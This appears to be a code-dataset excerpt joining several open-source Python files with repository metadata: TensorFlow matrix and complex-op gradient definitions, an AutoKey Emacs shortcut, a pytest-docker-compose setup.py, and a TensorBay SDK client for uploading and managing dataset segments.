array_ops.where_v2(gx_shape[rankdiff_x:] > x_shape) # tf.where returns 2D so squeeze. axis = array_ops.squeeze(axis) gx = math_ops.reduce_sum(gx, keepdims=True, axis=axis) gy = array_ops.where_v2(c, zeros, grad) gy_shape = array_ops.shape(gy) y_shape = array_ops.shape(y) rankdiff_y = array_ops.rank(gy) - array_ops.rank(y) # Reduce away broadcasted leading dims. gy = math_ops.reduce_sum(gy, axis=math_ops.range(rankdiff_y)) # Reduce but keep y's 1-valued dims which were broadcast. axis = array_ops.where_v2(gy_shape[rankdiff_y:] > y_shape) # tf.where returns 2D so squeeze. axis = array_ops.squeeze(axis) gy = math_ops.reduce_sum(gy, keepdims=True, axis=axis) return (None, gx, gy) def _MatMulGradAgainstFirstOnly(op, grad): """Gradient for MatMul, only for the first input.""" t_a = op.get_attr("transpose_a") t_b = op.get_attr("transpose_b") b = math_ops.conj(op.inputs[1]) if not t_a and not t_b: grad_a = gen_math_ops.mat_mul(grad, b, transpose_b=True) elif not t_a and t_b: grad_a = gen_math_ops.mat_mul(grad, b) elif t_a and not t_b: grad_a = gen_math_ops.mat_mul(b, grad, transpose_b=True) elif t_a and t_b: grad_a = gen_math_ops.mat_mul(b, grad, transpose_a=True, transpose_b=True) return grad_a, None def _MatMulGradAgainstSecondOnly(op, grad): """Gradient for MatMul, only for the second input.""" t_a = op.get_attr("transpose_a") t_b = op.get_attr("transpose_b") a = math_ops.conj(op.inputs[0]) if not t_a and not t_b: grad_b = gen_math_ops.mat_mul(a, grad, transpose_a=True) elif not t_a and t_b: grad_b = gen_math_ops.mat_mul(grad, a, transpose_a=True) elif t_a and not t_b: grad_b = gen_math_ops.mat_mul(a, grad) elif t_a and t_b: grad_b = gen_math_ops.mat_mul(grad, a, transpose_a=True, transpose_b=True) return None, grad_b @ops.RegisterGradient("MatMul") def _MatMulGrad(op, grad): """Gradient for MatMul.""" try: skip_input_indices = op.skip_input_indices if skip_input_indices is not None: if 1 in skip_input_indices: return _MatMulGradAgainstFirstOnly(op, grad) elif 0 in skip_input_indices: return _MatMulGradAgainstSecondOnly(op, grad) except AttributeError: # No gradient skipping, so do the full gradient computation pass t_a = op.get_attr("transpose_a") t_b = op.get_attr("transpose_b") a = math_ops.conj(op.inputs[0]) b = math_ops.conj(op.inputs[1]) if not t_a and not t_b: grad_a = gen_math_ops.mat_mul(grad, b, transpose_b=True) grad_b = gen_math_ops.mat_mul(a, grad, transpose_a=True) elif not t_a and t_b: grad_a = gen_math_ops.mat_mul(grad, b) grad_b = gen_math_ops.mat_mul(grad, a, transpose_a=True) elif t_a and not t_b: grad_a = gen_math_ops.mat_mul(b, grad, transpose_b=True) grad_b = gen_math_ops.mat_mul(a, grad) elif t_a and t_b: grad_a = gen_math_ops.mat_mul(b, grad, transpose_a=True, transpose_b=True) grad_b = gen_math_ops.mat_mul(grad, a, transpose_a=True, transpose_b=True) return grad_a, grad_b @ops.RegisterGradient("SparseMatMul") def _SparseMatMulGrad(op, grad): """Gradient for SparseMatMul.""" t_a = op.get_attr("transpose_a") t_b = op.get_attr("transpose_b") is_sparse = { op.inputs[0]: op.get_attr("a_is_sparse"), op.inputs[1]: op.get_attr("b_is_sparse"), # Use heuristic to figure out if grad might be sparse grad: not context.executing_eagerly() and (grad.op.type == "ReluGrad") } def _SparseMatMul(t1, t2, out_dtype, transpose_a=False, transpose_b=False): """Helper function to create SparseMatMul op.""" assert t1 in is_sparse and t2 in is_sparse t1_sparse = is_sparse[t1] t2_sparse = is_sparse[t2] if transpose_b: t2 = array_ops.transpose(t2) transpose_b = False prod = math_ops.matmul( t1, t2, transpose_a=transpose_a, transpose_b=transpose_b, a_is_sparse=t1_sparse, b_is_sparse=t2_sparse) if prod.dtype != out_dtype: prod = math_ops.cast(prod, out_dtype) return prod dtype_a = op.inputs[0].dtype dtype_b = op.inputs[1].dtype if not t_a and not t_b: return (_SparseMatMul(grad, op.inputs[1], dtype_a, transpose_b=True), _SparseMatMul(op.inputs[0], grad, dtype_b, transpose_a=True)) elif not t_a and t_b: return (_SparseMatMul(grad, op.inputs[1], dtype_a), _SparseMatMul(grad, op.inputs[0], dtype_b, transpose_a=True)) elif t_a and not t_b: return (_SparseMatMul(op.inputs[1], grad, dtype_a, transpose_b=True), _SparseMatMul(op.inputs[0], grad, dtype_b)) elif t_a and t_b: return (_SparseMatMul( op.inputs[1], grad, dtype_a, transpose_a=True, transpose_b=True), _SparseMatMul( grad, op.inputs[0], dtype_b, transpose_a=True, transpose_b=True)) @ops.RegisterGradient("Floor") def _FloorGrad(_, unused_grad): return [None] @ops.RegisterGradient("Ceil") def _CeilGrad(_, unused_grad): return [None] @ops.RegisterGradient("Round") def _RoundGrad(_, unused_grad): return [None] @ops.RegisterGradient("Rint") def _RintGrad(_, unused_grad): # the gradient of Rint is zero return [None] @ops.RegisterGradient("BatchMatMul") def _BatchMatMul(op, grad): """Returns the gradient of x and y given the gradient of x * y.""" x = op.inputs[0] y = op.inputs[1] adj_x = op.get_attr("adj_x") adj_y = op.get_attr("adj_y") if not adj_x: if not adj_y: grad_x = math_ops.matmul(grad, y, adjoint_a=False, adjoint_b=True) grad_y = math_ops.matmul(x, grad, adjoint_a=True, adjoint_b=False) else: grad_x = math_ops.matmul(grad, y, adjoint_a=False, adjoint_b=False) grad_y = math_ops.matmul(grad, x, adjoint_a=True, adjoint_b=False) else: if not adj_y: grad_x = math_ops.matmul(y, grad, adjoint_a=False, adjoint_b=True) grad_y = math_ops.matmul(x, grad, adjoint_a=False, adjoint_b=False) else: grad_x = math_ops.matmul(y, grad, adjoint_a=True, adjoint_b=True) grad_y = math_ops.matmul(grad, x, adjoint_a=True, adjoint_b=True) return grad_x, grad_y @ops.RegisterGradient("BatchMatMulV2") def _BatchMatMulV2(op, grad): """Returns the gradient of x and y given the gradient of x * y.""" x = op.inputs[0] y = op.inputs[1] adj_x = op.get_attr("adj_x") adj_y = op.get_attr("adj_y") if not adj_x: if not adj_y: grad_x = math_ops.matmul(grad, y, adjoint_a=False, adjoint_b=True) grad_y = math_ops.matmul(x, grad, adjoint_a=True, adjoint_b=False) else: grad_x = math_ops.matmul(grad, y, adjoint_a=False, adjoint_b=False) grad_y = math_ops.matmul(grad, x, adjoint_a=True, adjoint_b=False) else: if not adj_y: grad_x = math_ops.matmul(y, grad, adjoint_a=False, adjoint_b=True) grad_y = math_ops.matmul(x, grad, adjoint_a=False, adjoint_b=False) else: grad_x = math_ops.matmul(y, grad, adjoint_a=True, adjoint_b=True) grad_y = math_ops.matmul(grad, x, adjoint_a=True, adjoint_b=True) # Reduce along the broadcasted batch dimensions, if broadcasting is required. shape_x_static = x.get_shape() shape_y_static = y.get_shape() if not (shape_x_static.is_fully_defined() and shape_y_static.is_fully_defined() and shape_x_static == shape_y_static): sx = array_ops.shape(x) sy = array_ops.shape(y) rx, ry = gen_array_ops.broadcast_gradient_args(sx[:-2], sy[:-2]) grad_x = array_ops.reshape(math_ops.reduce_sum(grad_x, rx), sx) grad_y = array_ops.reshape(math_ops.reduce_sum(grad_y, ry), sy) return grad_x, grad_y ops.NotDifferentiable("Range") ops.NotDifferentiable("LinSpace") @ops.RegisterGradient("Complex") def _ComplexGrad(op, grad): """Returns the real and imaginary components of 'grad', respectively.""" x = op.inputs[0] y = op.inputs[1] sx = array_ops.shape(x) sy = array_ops.shape(y) rx, ry = gen_array_ops.broadcast_gradient_args(sx, sy) return (array_ops.reshape(math_ops.reduce_sum(math_ops.real(grad), rx), sx), array_ops.reshape(math_ops.reduce_sum(math_ops.imag(grad), ry), sy)) @ops.RegisterGradient("Real") def _RealGrad(_, grad): """Returns 'grad' as the real part and set the imaginary part 0.""" zero = constant_op.constant(0, dtype=grad.dtype) return math_ops.complex(grad, zero) @ops.RegisterGradient("Imag") def _ImagGrad(_, grad): """Returns 'grad' as the imaginary part and set the real part 0.""" zero = constant_op.constant(0, dtype=grad.dtype) return math_ops.complex(zero, grad) @ops.RegisterGradient("Angle") def _AngleGrad(op, grad): """Returns -grad / (Im(x) + iRe(x))""" x = op.inputs[0] with ops.control_dependencies([grad]): re = math_ops.real(x) im = math_ops.imag(x) z = math_ops.reciprocal(math_ops.complex(im, re)) zero = constant_op.constant(0, dtype=grad.dtype) complex_grad = math_ops.complex(grad, zero) return -complex_grad * z @ops.RegisterGradient("Conj") def _ConjGrad(_, grad): """Returns the complex conjugate of grad.""" return math_ops.conj(grad) @ops.RegisterGradient("ComplexAbs") def _ComplexAbsGrad(op, grad): """Returns the gradient of ComplexAbs.""" return math_ops.div_no_nan( math_ops.complex( grad, array_ops.zeros_like(grad)) * op.inputs[0], math_ops.complex( op.outputs[0], array_ops.zeros_like(op.outputs[0]))) @ops.RegisterGradient("Cast") def _CastGrad(op, grad): t = [ dtypes.float16, dtypes.float32, dtypes.float64, dtypes.bfloat16, dtypes.complex64, dtypes.complex128 ] src_type = op.inputs[0].dtype.base_dtype dst_type = grad.dtype.base_dtype if src_type in t and dst_type in t: return math_ops.cast(grad, src_type) else: return None @ops.RegisterGradient("Cross") def _CrossGrad(op, grad): u = op.inputs[0] v = op.inputs[1] return (math_ops.cross(v, grad), math_ops.cross(grad, u)) @ops.RegisterGradient("Cumsum") def _CumsumGrad(op, grad): axis = op.inputs[1] exclusive = op.get_attr("exclusive") reverse = op.get_attr("reverse") return [ math_ops.cumsum(grad, axis, exclusive=exclusive, reverse=not reverse), None ] @ops.RegisterGradient("Cumprod") def _CumprodGrad(op, grad): x = op.inputs[0] axis = op.inputs[1] exclusive = op.get_attr("exclusive") reverse = op.get_attr("reverse") # TODO This fails when x contains 0 and should be fixed prod = math_ops.cumprod(x, axis, exclusive=exclusive, reverse=reverse) out = math_ops.cumsum( prod * grad, axis, exclusive=exclusive, reverse=not reverse) return [out / x, None] @ops.RegisterGradient("NextAfter") def _NextAfterGrad(op, grad): """Returns gradient of nextafter(x1, x2) with respect to x1 and x2.""" x1 = op.inputs[0] x2 = op.inputs[1] s_x1 = array_ops.shape(x1) s_x2 = array_ops.shape(x2) r_x1, r_x2 = gen_array_ops.broadcast_gradient_args(s_x1, s_x2) with ops.control_dependencies([grad]): partial_x1 = array_ops.ones(s_x1, dtype=x1.dtype) partial_x2 = array_ops.zeros(s_x2, dtype=x2.dtype) return (array_ops.reshape( math_ops.reduce_sum(partial_x1 * grad, r_x1), s_x1), array_ops.reshape( math_ops.reduce_sum(partial_x2 * grad, r_x2), s_x2))
34.574685
81
0.68603
79594dfd3670022bf64fcb7f01a1ee9cb621460e
119
py
Python
autokey/data/Emacs/c_b.py
Curiosidad-Racional/.config
af5a8901510e4b87dff1be024d3d29987c148f3f
[ "MIT" ]
2
2021-05-29T18:11:26.000Z
2021-10-21T20:53:16.000Z
autokey/data/Emacs/c_b.py
Curiosidad-Racional/.config
af5a8901510e4b87dff1be024d3d29987c148f3f
[ "MIT" ]
null
null
null
autokey/data/Emacs/c_b.py
Curiosidad-Racional/.config
af5a8901510e4b87dff1be024d3d29987c148f3f
[ "MIT" ]
null
null
null
if store.get_global_value("ctrl-space"): keyboard.send_keys("<shift>+<left>") else: keyboard.send_key("<left>")
29.75
40
0.689076
79594e516d36f8ba24d7fc4323d1b167102b43a0
1,009
py
Python
setup.py
Secretions/pytest-docker-compose
7569131cb2fbbc91888835675a21f399f8b99530
[ "Apache-2.0" ]
null
null
null
setup.py
Secretions/pytest-docker-compose
7569131cb2fbbc91888835675a21f399f8b99530
[ "Apache-2.0" ]
null
null
null
setup.py
Secretions/pytest-docker-compose
7569131cb2fbbc91888835675a21f399f8b99530
[ "Apache-2.0" ]
null
null
null
from setuptools import setup, find_packages with open("README.rst", "r") as f: long_description = f.read() setup( name="pytest-docker-compose", description="Manages Docker containers during your integration tests", long_description=long_description, version="3.2.0", author="Roald Storm", author_email="roaldstorm@gmail.com", url="https://github.com/pytest-docker-compose/pytest-docker-compose", packages=find_packages(where="src"), package_dir={"": "src"}, install_requires=["docker-compose", "pytest >= 3.3"], entry_points={ "pytest11": [ "docker_compose=pytest_docker_compose:plugin", ], }, classifiers=[ "Development Status :: 5 - Production/Stable", "Framework :: Pytest", "License :: OSI Approved :: Apache Software License", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3 :: Only", "Topic :: Software Development :: Testing", ], )
30.575758
74
0.6333
79594e63e8b3e80a9f61899d81caca139d04470e
35,128
py
Python
tensorbay/client/segment.py
machearn/tensorbay-python-sdk
5c96a5f4c0028c7bec0764f2d0142b29597ec3a9
[ "MIT" ]
null
null
null
tensorbay/client/segment.py
machearn/tensorbay-python-sdk
5c96a5f4c0028c7bec0764f2d0142b29597ec3a9
[ "MIT" ]
null
null
null
tensorbay/client/segment.py
machearn/tensorbay-python-sdk
5c96a5f4c0028c7bec0764f2d0142b29597ec3a9
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # # Copyright 2021 Graviti. Licensed under MIT License. # """The segment of remote dataset on TensorBay.""" import os import time from copy import deepcopy from itertools import zip_longest from typing import TYPE_CHECKING, Any, Dict, Generator, Iterable, Optional, Tuple, Union import filetype from requests_toolbelt import MultipartEncoder from ulid import ULID, from_timestamp from tensorbay.client.lazy import LazyPage, PagingList from tensorbay.client.status import Status from tensorbay.dataset import AuthData, Data, Frame, RemoteData from tensorbay.dataset.data import DataBase from tensorbay.exception import FrameError, InvalidParamsError, ResourceNotExistError, ResponseError from tensorbay.label import Label from tensorbay.sensor.sensor import Sensor, Sensors from tensorbay.utility import URL, FileMixin, chunked, config, locked if TYPE_CHECKING: from tensorbay.client.dataset import DatasetClient, FusionDatasetClient _STRATEGIES = {"abort", "override", "skip"} _MASK_KEYS = ("semantic_mask", "instance_mask", "panoptic_mask") class SegmentClientBase: """This class defines the basic concept of :class:`SegmentClient`. A :class:`SegmentClientBase` contains the information needed for determining a unique segment in a dataset on TensorBay. Arguments: name: Segment name. dataset_client: The dataset client. Attributes: name: Segment name. status: The status of the dataset client. """ _EXPIRED_IN_SECOND = 240 def __init__( self, name: str, dataset_client: "Union[DatasetClient, FusionDatasetClient]" ) -> None: self._name = name self._dataset_id = dataset_client.dataset_id self._dataset_client = dataset_client self._status = dataset_client.status self._client = dataset_client._client self._permission: Dict[str, Any] = {"expireAt": 0} if dataset_client.cache_enabled: self._cache_path: str = os.path.join( dataset_client._cache_path, dataset_client.status.commit_id, # type: ignore[arg-type] name, ) else: self._cache_path = "" def _get_url(self, remote_path: str) -> str: """Get URL of a specific remote path. Arguments: remote_path: The remote path of the file. Returns: The URL of the remote file. """ params: Dict[str, Any] = { "segmentName": self._name, "remotePath": remote_path, } params.update(self._status.get_status_info()) if config.is_internal: params["isInternal"] = True response = self._client.open_api_do("GET", "data/urls", self._dataset_id, params=params) return response.json()["urls"][0]["url"] # type: ignore[no-any-return] def _list_urls(self, offset: int = 0, limit: int = 128) -> Dict[str, Any]: params: Dict[str, Any] = { "segmentName": self._name, "offset": offset, "limit": limit, } params.update(self._status.get_status_info()) if config.is_internal: params["isInternal"] = True response = self._client.open_api_do("GET", "data/urls", self._dataset_id, params=params) return response.json() # type: ignore[no-any-return] def _get_data_details(self, remote_path: str) -> Dict[str, Any]: params: Dict[str, Any] = { "segmentName": self._name, "remotePath": remote_path, } params.update(self._status.get_status_info()) if config.is_internal: params["isInternal"] = True response = self._client.open_api_do("GET", "data/details", self._dataset_id, params=params) try: data_details = response.json()["dataDetails"][0] except IndexError as error: raise ResourceNotExistError(resource="data", identification=remote_path) from error return data_details # type: ignore[no-any-return] def _list_data_details(self, offset: int = 0, limit: int = 128) -> Dict[str, Any]: params: Dict[str, Any] = { "segmentName": self._name, "offset": offset, "limit": limit, } params.update(self._status.get_status_info()) if config.is_internal: params["isInternal"] = True response = self._client.open_api_do("GET", "data/details", self._dataset_id, params=params) return response.json() # type: ignore[no-any-return] def _get_mask_url(self, mask_type: str, remote_path: str) -> str: params: Dict[str, Any] = { "segmentName": self._name, "maskType": mask_type, "remotePath": remote_path, } params.update(self._status.get_status_info()) if config.is_internal: params["isInternal"] = True response = self._client.open_api_do("GET", "masks/urls", self._dataset_id, params=params) try: mask_url = response.json()["urls"][0]["url"] except IndexError as error: raise ResourceNotExistError( resource="{mask_type} of data", identification=remote_path ) from error return mask_url # type: ignore[no-any-return] def _list_mask_urls(self, mask_type: str, offset: int = 0, limit: int = 128) -> Dict[str, Any]: params: Dict[str, Any] = { "segmentName": self._name, "maskType": mask_type, "offset": offset, "limit": limit, } params.update(self._status.get_status_info()) if config.is_internal: params["isInternal"] = True response = self._client.open_api_do("GET", "masks/urls", self._dataset_id, params=params) return response.json() # type: ignore[no-any-return] def _list_labels(self, offset: int = 0, limit: int = 128) -> Dict[str, Any]: params: Dict[str, Any] = { "segmentName": self._name, "offset": offset, "limit": limit, } params.update(self._status.get_status_info()) response = self._client.open_api_do("GET", "labels", self._dataset_id, params=params) return response.json() # type: ignore[no-any-return] @locked def _request_upload_permission(self) -> None: params: Dict[str, Any] = {"expired": self._EXPIRED_IN_SECOND, "segmentName": self._name} params.update(self._status.get_status_info()) if config.is_internal: params["isInternal"] = True self._permission = self._client.open_api_do( "GET", "policies", self._dataset_id, params=params ).json() del self._permission["result"]["multipleUploadLimit"] def _get_upload_permission(self) -> Dict[str, Any]: if int(time.time()) >= self._permission["expireAt"]: self._request_upload_permission() return deepcopy(self._permission) def _upload_file(self, data: FileMixin) -> None: """Upload the file in the data to the draft. Arguments: data: The data instance needs to be uploaded. """ permission = self._get_upload_permission() post_data = permission["result"] local_path = data.path checksum = data.get_checksum() post_data["key"] = permission["extra"]["objectPrefix"] + checksum host = permission["extra"]["host"] backend_type = permission["extra"]["backendType"] if backend_type == "azure": url = ( f'{permission["extra"]["host"]}{permission["extra"]["objectPrefix"]}' f'{checksum}?{permission["result"]["token"]}' ) self._put_binary_file_to_azure(url, local_path, post_data) elif backend_type == "fps": self._post_multipart_formdata( host, local_path, post_data, checksum, ) else: self._post_multipart_formdata( host, local_path, post_data, ) def _upload_mask_files(self, label: Label) -> None: for key in _MASK_KEYS: mask = getattr(label, key, None) if mask: self._upload_file(mask) def _post_multipart_formdata( self, url: str, local_path: str, data: Dict[str, Any], filename: str = "", ) -> None: with open(local_path, "rb") as fp: file_type = filetype.guess_mime(local_path) if "x-amz-date" in data: data["Content-Type"] = file_type try: data["file"] = (filename, fp, file_type) self._post_formdata(url, data) except ResponseError as error: if b"MalformedPOSTRequest" in error.response.content: data["file"] = ("workaroundForMalformedPostRequest", fp, file_type) self._post_formdata(url, data) else: raise def _post_formdata(self, url: str, data: Dict[str, Any]) -> None: multipart = MultipartEncoder(data) self._client.do( "POST", url, data=multipart, headers={"Content-Type": multipart.content_type}, ) def _put_binary_file_to_azure( self, url: str, local_path: str, data: Dict[str, Any], ) -> None: with open(local_path, "rb") as fp: file_type = filetype.guess_mime(local_path) request_headers = { "x-ms-blob-content-type": file_type, "x-ms-blob-type": data["x-ms-blob-type"], } self._client.do("PUT", url, data=fp, headers=request_headers) def _synchronize_import_info(self, callback_bodies: Tuple[Dict[str, Any], ...]) -> None: put_data: Dict[str, Any] = { "segmentName": self.name, "objects": callback_bodies, "deleteSource": False, } put_data.update(self._status.get_status_info()) self._client.open_api_do("PUT", "multi/cloud-callback", self._dataset_id, json=put_data) def _synchronize_upload_info( self, callback_bodies: Tuple[Dict[str, Any], ...], ) -> None: put_data: Dict[str, Any] = { "segmentName": self.name, "objects": callback_bodies, } put_data.update(self._status.get_status_info()) self._client.open_api_do("PUT", "multi/callback", self._dataset_id, json=put_data) def _upload_label(self, data: Union[AuthData, Data]) -> None: label = data.label.dumps() if not label: return post_data: Dict[str, Any] = { "segmentName": self.name, "remotePath": data.target_remote_path, "label": label, } post_data.update(self._status.get_status_info()) self._client.open_api_do("PUT", "labels", self._dataset_id, json=post_data) def _upload_multi_label(self, data: Iterable[DataBase._Type]) -> None: post_data: Dict[str, Any] = {"segmentName": self.name} objects = [] for single_data in data: label = single_data.label.dumps() if not label: continue remote_path = ( single_data.path if isinstance(single_data, RemoteData) else single_data.target_remote_path ) objects.append({"remotePath": remote_path, "label": label}) post_data["objects"] = objects post_data.update(self._status.get_status_info()) self._client.open_api_do("PUT", "multi/data/labels", self._dataset_id, json=post_data) def upload_label(self, data: Union[DataBase._Type, Iterable[DataBase._Type]]) -> None: """Upload label with Data object to the draft. Arguments: data: The data object which represents the local file to upload. """ self._status.check_authority_for_draft() if not isinstance(data, Iterable): data = [data] for chunked_data in chunked(data, 128): for single_data in chunked_data: self._upload_mask_files(single_data.label) self._upload_multi_label(chunked_data) @property def name(self) -> str: """Return the segment name. Returns: The segment name. """ return self._name @property def status(self) -> Status: """Return the status of the dataset client. Returns: The status of the dataset client. """ return self._status class SegmentClient(SegmentClientBase): """This class defines :class:`SegmentClient`. :class:`SegmentClient` inherits from SegmentClientBase and provides methods within a segment scope, such as `upload_label()`, `upload_data()`, `list_data()` and so on. In contrast to FusionSegmentClient, :class:`SegmentClient` has only one sensor. """ _dataset_client: "DatasetClient" def __init__(self, name: str, data_client: "DatasetClient") -> None: super().__init__(name, data_client) def _generate_data_paths(self, offset: int = 0, limit: int = 128) -> Generator[str, None, int]: params: Dict[str, Any] = { "segmentName": self._name, "offset": offset, "limit": limit, } params.update(self._status.get_status_info()) response = self._client.open_api_do("GET", "data", self._dataset_id, params=params).json() for item in response["data"]: yield item["remotePath"] return response["totalCount"] # type: ignore[no-any-return] def _generate_data(self, offset: int = 0, limit: int = 128) -> Generator[RemoteData, None, int]: response = self._list_data_details(offset, limit) urls = LazyPage.from_items( offset, limit, self._generate_urls, (item["url"] for item in response["dataDetails"]), ) mask_urls = {} for key in _MASK_KEYS: mask_urls[key] = LazyPage.from_items( offset, limit, lambda offset, limit, k=key.upper(): ( # type: ignore[misc] self._generate_mask_urls(k, offset, limit) ), (item["label"].get(key.upper(), {}).get("url") for item in response["dataDetails"]), ) for i, item in enumerate(response["dataDetails"]): data = RemoteData.from_response_body( item, url=URL.from_getter(urls.items[i].get, urls.pull), cache_path=self._cache_path, ) label = data.label for key in _MASK_KEYS: mask = getattr(label, key, None) if mask: mask.url = URL.from_getter(mask_urls[key].items[i].get, mask_urls[key].pull) mask.cache_path = os.path.join(self._cache_path, key, mask.path) yield data return response["totalCount"] # type: ignore[no-any-return] def _generate_urls(self, offset: int = 0, limit: int = 128) -> Generator[str, None, int]: response = self._list_urls(offset, limit) for item in response["urls"]: yield item["url"] return response["totalCount"] # type: ignore[no-any-return] def _generate_mask_urls( self, mask_type: str, offset: int = 0, limit: int = 128 ) -> Generator[Optional[str], None, int]: response = self._list_mask_urls(mask_type, offset, limit) for item in response["urls"]: yield item["url"] if item else None return response["totalCount"] # type: ignore[no-any-return] def _upload_or_import_data(self, data: Union[Data, AuthData]) -> Optional[Dict[str, Any]]: if isinstance(data, Data): self._upload_file(data) self._upload_mask_files(data.label) return data.get_callback_body() self._synchronize_import_info((data.get_callback_body(),)) return None def upload_file(self, local_path: str, target_remote_path: str = "") -> None: """Upload data with local path to the draft. Arguments: local_path: The local path of the data to upload. target_remote_path: The path to save the data in segment client. """ self._status.check_authority_for_draft() data = Data(local_path, target_remote_path=target_remote_path) self._upload_file(data) self._synchronize_upload_info((data.get_callback_body(),)) def upload_data(self, data: Data) -> None: """Upload Data object to the draft. Arguments: data: The :class:`~tensorbay.dataset.data.Data`. """ self._status.check_authority_for_draft() self._upload_file(data) self._upload_mask_files(data.label) self._synchronize_upload_info((data.get_callback_body(),)) def import_auth_data(self, data: AuthData) -> None: """Import AuthData object to the draft. Arguments: data: The :class:`~tensorbay.dataset.data.Data`. """ self._status.check_authority_for_draft() self._synchronize_import_info((data.get_callback_body(),)) def copy_data( self, source_remote_paths: Union[str, Iterable[str]], target_remote_paths: Union[None, str, Iterable[str]] = None, *, source_client: Optional["SegmentClient"] = None, strategy: str = "abort", ) -> None: """Copy data to this segment. Arguments: source_remote_paths: The source remote paths of the copied data. target_remote_paths: The target remote paths of the copied data. This argument is used to specify new remote paths of the copied data. If None, the remote path of the copied data will not be changed after copy. source_client: The source segment client of the copied data. This argument is used to specifies where the copied data comes from when the copied data is from another commit, draft, segment or even another dataset. If None, the copied data comes from this segment. strategy: The strategy of handling the name conflict. There are three options: 1. "abort": stop copying and raise exception; 2. "override": the source data will override the origin data; 3. "skip": keep the origin data. Raises: InvalidParamsError: When strategy is invalid. ValueError: When the type of target_remote_paths is not equal with source_remote_paths. """ self._status.check_authority_for_draft() if strategy not in _STRATEGIES: raise InvalidParamsError(param_name="strategy", param_value=strategy) if not target_remote_paths: all_target_remote_paths = [] all_source_remote_paths = ( [source_remote_paths] if isinstance(source_remote_paths, str) else list(source_remote_paths) ) elif isinstance(source_remote_paths, str) and isinstance(target_remote_paths, str): all_target_remote_paths = [target_remote_paths] all_source_remote_paths = [source_remote_paths] elif not isinstance(source_remote_paths, str) and not isinstance(target_remote_paths, str): all_target_remote_paths = list(target_remote_paths) all_source_remote_paths = list(source_remote_paths) if len(all_target_remote_paths) != len(all_source_remote_paths): raise ValueError( "To copy the data, the length of target_remote_paths " "must be equal with source_remote_paths" ) else: raise ValueError( "To copy the data, the type of target_remote_paths " "must be equal with source_remote_paths" ) source = {} if source_client: source["segmentName"] = source_client.name source["id"] = source_client._dataset_id # pylint: disable=protected-access source.update(source_client.status.get_status_info()) else: source["segmentName"] = self.name post_data: Dict[str, Any] = { "strategy": strategy, "source": source, "segmentName": self.name, } post_data.update(self._status.get_status_info()) for targets, sources in zip_longest( chunked(all_target_remote_paths, 128), chunked(all_source_remote_paths, 128) ): if targets: post_data["remotePaths"] = targets post_data["source"]["remotePaths"] = sources self._client.open_api_do("POST", "data?multipleCopy", self._dataset_id, json=post_data) def move_data( self, source_remote_paths: Union[str, Iterable[str]], target_remote_paths: Union[None, str, Iterable[str]] = None, *, source_client: Optional["SegmentClient"] = None, strategy: str = "abort", ) -> None: """Move data to this segment, also used to rename data. Arguments: source_remote_paths: The source remote paths of the moved data. target_remote_paths: The target remote paths of the moved data. This argument is used to specify new remote paths of the moved data. If None, the remote path of the moved data will not be changed after copy. source_client: The source segment client of the moved data. This argument is used to specifies where the moved data comes from when the moved data is from another segment. If None, the moved data comes from this segment. strategy: The strategy of handling the name conflict. There are three options: 1. "abort": stop copying and raise exception; 2. "override": the source data will override the origin data; 3. "skip": keep the origin data. Raises: InvalidParamsError: When strategy is invalid. ValueError: When the type or the length of target_remote_paths is not equal with source_remote_paths. Or when the dataset_id and drafter_number of source_client is not equal with the current segment client. """ self._status.check_authority_for_draft() if strategy not in _STRATEGIES: raise InvalidParamsError(param_name="strategy", param_value=strategy) if not target_remote_paths: all_target_remote_paths = [] all_source_remote_paths = ( [source_remote_paths] if isinstance(source_remote_paths, str) else list(source_remote_paths) ) elif isinstance(source_remote_paths, str) and isinstance(target_remote_paths, str): all_target_remote_paths = [target_remote_paths] all_source_remote_paths = [source_remote_paths] elif not isinstance(source_remote_paths, str) and not isinstance(target_remote_paths, str): all_target_remote_paths = list(target_remote_paths) all_source_remote_paths = list(source_remote_paths) if len(all_target_remote_paths) != len(all_source_remote_paths): raise ValueError( "To move the data, the length of target_remote_paths " "must be equal with source_remote_paths" ) else: raise ValueError( "To move the data, the type of target_remote_paths " "must be equal with source_remote_paths" ) source = {} if source_client: if ( source_client.status.draft_number == self.status.draft_number and source_client._dataset_id # pylint: disable=protected-access == self._dataset_id ): source["segmentName"] = source_client.name else: raise ValueError( "To move the data, the dataset_id and drafter_number of source_client " "must be equal with the current segment client" ) else: source["segmentName"] = self.name post_data: Dict[str, Any] = { "strategy": strategy, "source": source, "segmentName": self.name, } post_data.update(self._status.get_status_info()) for targets, sources in zip_longest( chunked(all_target_remote_paths, 128), chunked(all_source_remote_paths, 128) ): if targets: post_data["remotePaths"] = targets post_data["source"]["remotePaths"] = sources self._client.open_api_do("POST", "data?multipleMove", self._dataset_id, json=post_data) def list_data_paths(self) -> PagingList[str]: """List required data path in a segment in a certain commit. Returns: The PagingList of data paths. """ return PagingList(self._generate_data_paths, 128) def get_data(self, remote_path: str) -> RemoteData: """Get required Data object from a dataset segment. Arguments: remote_path: The remote paths of the required data. Returns: :class:`~tensorbay.dataset.data.RemoteData`. Raises: ResourceNotExistError: When the required data does not exist. """ if not remote_path: raise ResourceNotExistError(resource="data", identification=remote_path) data_details = self._get_data_details(remote_path) data = RemoteData.from_response_body( data_details, url=URL(data_details["url"], lambda: self._get_url(remote_path)), cache_path=self._cache_path, ) label = data.label for key in _MASK_KEYS: mask = getattr(label, key, None) if mask: mask.url = URL( data_details["label"][key.upper()]["url"], lambda k=key.upper(), r=remote_path: ( # type: ignore[misc, arg-type] self._get_mask_url(k, r) ), ) mask.cache_path = os.path.join(self._cache_path, key, mask.path) return data def list_data(self) -> PagingList[RemoteData]: """List required Data object in a dataset segment. Returns: The PagingList of :class:`~tensorbay.dataset.data.RemoteData`. """ return PagingList(self._generate_data, 128) def delete_data(self, remote_path: str) -> None: """Delete data of a segment in a certain commit with the given remote paths. Arguments: remote_path: The remote path of data in a segment. """ self._status.check_authority_for_draft() delete_data: Dict[str, Any] = { "segmentName": self.name, "remotePath": remote_path, } delete_data.update(self._status.get_status_info()) self._client.open_api_do("DELETE", "data", self._dataset_id, json=delete_data) def list_urls(self) -> PagingList[str]: """List the data urls in this segment. Returns: The PagingList of urls. """ return PagingList(self._generate_urls, 128) def list_mask_urls(self, mask_type: str) -> PagingList[Optional[str]]: """List the mask urls in this segment. Arguments: mask_type: The required mask type, the supported types are ``SEMANTIC_MASK``, ``INSTANCE_MASK`` and ``PANOPTIC_MASK`` Returns: The PagingList of mask urls. """ return PagingList( lambda offset, limit: self._generate_mask_urls(mask_type, offset, limit), 128 ) class FusionSegmentClient(SegmentClientBase): """This class defines :class:`FusionSegmentClient`. 